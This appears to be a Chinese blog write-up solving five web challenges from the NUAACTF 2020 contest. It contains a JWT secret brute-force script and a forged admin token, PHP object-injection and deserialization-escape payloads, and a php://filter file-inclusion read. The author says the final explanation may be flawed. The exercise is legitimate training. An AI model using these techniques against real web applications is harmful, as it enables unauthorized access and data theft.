NUAACTF-2020 web 解題思路分享

是陽間題
感謝喵師傅的環境,膜:https://miaotony.xyz/2020/05/30/CTF_2020NUAACTF/
web1-checkin
ctrl+u的,沒注意到在下面,後來在返回包的html裏纔看見。。。
nuaactf{we1cOme_to_NuaAcTF}
nuaactf{we1cOme_to_NuaAcTF}

web2-jwt
關於jwt和jwt僞造,膜:https://blog.csdn.net/qq_45521281/article/details/106073624
github上有一個爆破jwt-secret的工具,膜:https://github.com/brendan-rius/c-jwt-cracker
知道原理後我們也可以自己寫腳本:
首先隨便註冊一個號,登上去,看到自己的JWT:

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0.r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU

把前兩部分b64decode,有:

{"alg":"HS256","typ":"JWT"}
{"username":"hanao"}

然後根據加密方式和結果爆破出密碼:(python3.8.2)

import hashlib
import hmac
import base64

chars = ["","0","1","2","3","4","5","6","7","8","9","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"]
before = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0".encode('utf-8')
secret = ""
after = "r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU=".encode('utf-8')
#這裏要用'='把after補夠4的倍數位,方便比較
for i in range(0,62):
   for j in range(0,62):
        for k in range(0,62):
            for l in range(0,62):
                secret = chars[i] + chars[j] + chars[k] + chars[l];
                secret = secret.encode('utf-8')
                result = base64.b64encode(hmac.new(secret, before, digestmod=hashlib.sha256).digest())
                if result == after:
                    print(secret)
                    exit()

用時大概一分鐘
用時大概一分鐘;
之後就是根據之前的數據僞造JWT;

{"alg":"HS256","typ":"JWT"}
{"username":"admin"}

分別urlbase64後加點進行hmac-sha256;最終僞造出的JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.SYQ-AGwY5XIcxY621ToK8zEgomHE0Bla9tAUWTLxnwA
然後抓包修改JWT,再進入個人中心即可。
nuaactf{haojiGuoGuoTql}
nuaactf{haojiGuoGuoTql}

web3-easypop
直接給了我們代碼
沒什麼邏輯,直接整就行:(PHP)

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data;
}
echo urlencode(serialize(new lemon()));
?>

運行結果:

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

訪問:

http://139.9.221.0:8088/?d=O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

nuaactf{you_can_really_p0p}
nuaactf{you_can_really_p0p}

web4-command inj
查看源碼發現include.php
訪問發現?file=index,文件讀取:

http://139.9.221.0:8092/include.php?file=php://filter/read=convert.base64-encode/resource=include

僞協議相關,膜:https://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
文件包含相關,膜:https://blog.csdn.net/qq_42181428/article/details/87090539
解碼後:

<?php  error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
	if (preg_match('/http|data|ftp|input||flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
		echo "<p> error! </p>";
	} else {
		include($file.'.php');
		setcookie("tips","createfun.php");
	}
} else {
	header('Location:include.php?file=index');
}
?>

提示createfun.php,再讀一次;

<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}

PHP變量名可以當函數用,題目有提到command,試圖用很多方式執行命令,但是都報錯了,執行不了。慘慘。
考慮到第一個PHP中過濾了flag關鍵字,猜測flag在flag.php中,show_source:
nuaactf{php_IS_thE_best_language}
nuaactf{php_IS_thE_best_language}

web5-escape
直接給了源碼:
關於PHP的魔術方法:https://www.php.net/manual/zh/language.oop5.magic.php
首先是一個單次的過濾,可以雙寫繞過。
然後,在類C中提示flag.php,所以要讓C的成員變量爲:flaflagg.php,通過file_get_contents()得到flag
然後讓類B的屬性b等於類C,就會調用C中的__toString方法。
序列化如下:

<?php
class B{
	public $b;
}
class C{
	public $c = "flaflagg.php";
}

$a = new B();
$a->b = new C();
echo serialize($a);
?>

構造出:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:12:"flaflagg.php";}}
題目中,序列化對象$a後,將字符串中的flag關鍵字過濾掉了,很明顯是反序列化字符逃逸了,長度變化爲4~0:
反序列化字符逃逸詳解,膜:https://xz.aliyun.com/t/6718
不斷嘗試,可以構造:(特別注意最後文件名的字符長度爲8,不是12)

?a=flagflagflagflagflagflag&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}

這樣的程序執行過程:
賦值:
$a->a=flagflagflagflagflagflag;
$a->b=1";s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flaflagg.php”;}};
序列化後爲:

O:1:"A":2:{s:8:"username";s:24:"flagflagflagflagflagflag";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}";}

過濾後爲:

O:1:"A":2:{s:8:"username";s:24:"";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

再反序列化時,A的實例的username成員變量會讀取24個字符,即:";s:8:“password”;s:71:"1這一段;
後面的就會被讀成類B的一個實例,這個實例中的成員變量又是類C的一個實例。最後執行。
flag{you_can_readlly_dance}
flag{you_can_readlly_dance}

**> **> **> **

P.S. 最後這個並不是很懂。。。如果理解有誤,煩請各位師傅指正~感謝


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章